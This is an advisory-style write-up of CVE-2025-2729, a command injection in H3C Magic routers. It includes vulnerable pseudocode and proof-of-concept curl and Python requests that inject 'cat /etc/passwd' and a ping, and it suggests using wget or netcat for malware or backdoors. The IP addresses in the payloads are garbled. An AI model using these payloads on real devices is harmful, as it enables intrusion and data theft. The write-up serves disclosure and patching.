CVE-2025-2729 - Critical Command Injection Vulnerability in H3C Magic Routers (NX15, NX30 Pro, NX400, R301, BE18000)

Summary:
A critical new vulnerability, CVE-2025-2729, has been discovered in several popular H3C Magic router models: Magic NX15, Magic NX30 Pro, Magic NX400, Magic R301, and Magic BE18000, all up to firmware version V100R014. This vulnerability affects the handling of HTTP POST requests sent to the /api/wizard/networkSetup endpoint, allowing attackers on the local network to execute arbitrary system commands (command injection). The bug has been publicly disclosed and is actively exploitable. H3C users are strongly advised to update their devices as soon as possible.

Technical Details

The issue lies within the code responsible for processing HTTP POST requests to the endpoint /api/wizard/networkSetup. Specifically, it fails to properly sanitize user-supplied input before passing it to a system command, creating a window for attackers to inject malicious shell commands.

Attack Scenario

- Attacker Prerequisite: Must be connected to the victim’s local network (for example, via Wi-Fi or Ethernet).

How the Exploit Works

When a device processes network configuration changes through /api/wizard/networkSetup, it takes user-supplied POST data, such as parameters for SSID, password, or IP settings. In the vulnerable firmware, these parameters are directly concatenated into a shell command without any validation.

Here’s a simplified pseudocode example to illustrate

# Pseudocode of vulnerable handler
def network_setup(request):
    user_ip = request.POST['ip']
    # BAD: Directly using user input in shell command
    os.system(f"ifconfig wlan {user_ip}")

If an attacker crafts the ip field value in the POST request as

10...1; cat /etc/passwd;

the executed command becomes

ifconfig wlan 10...1; cat /etc/passwd;

Thus, the router will execute cat /etc/passwd after setting the IP address, leaking sensitive information.

Proof-of-Concept (PoC) Exploit

To exploit this flaw, an attacker can use common command line tools like curl or write a minimal Python script.

Example using curl

curl -X POST http://192.168.1.1/api/wizard/networkSetup \
     -d "ip=10...1;ping -c 4 10...5;" \
     -H "Content-Type: application/x-www-form-urlencoded"

Replace ping -c 4 10...5; with any arbitrary command (for example, wget for downloading malware, or netcat for opening a backdoor).

Example using Python

import requests

target_url = 'http://192.168.1.1/api/wizard/networkSetup'
payload = {'ip': '10...1;cat /etc/passwd;'}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

r = requests.post(target_url, data=payload, headers=headers)
print("Status:", r.status_code)
print("Response:", r.text)

Recommendation

- Upgrade: Install the latest firmware version for your device. H3C should release updates addressing this vulnerability—visit H3C’s official download page to check for your model.

References

- Original CVE Record (MITRE)
- H3C Official Security Bulletins
- Public Exploit Disclosure on Exploit-DB

Final Thoughts

CVE-2025-2729 is a severe vulnerability due to its ease of exploitation and high operational impact. While attacks are limited to local network environments, the risk is real for anyone connecting unknown devices to their H3C router. If your device is affected, patch immediately and audit your local network for signs of unauthorized access.

> This write-up is an exclusive, plain-English summary to help both IT admins and home users understand this critical router vulnerability. Share with your peers, and stay safe!

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 04/11/2025 20:15:23 UTC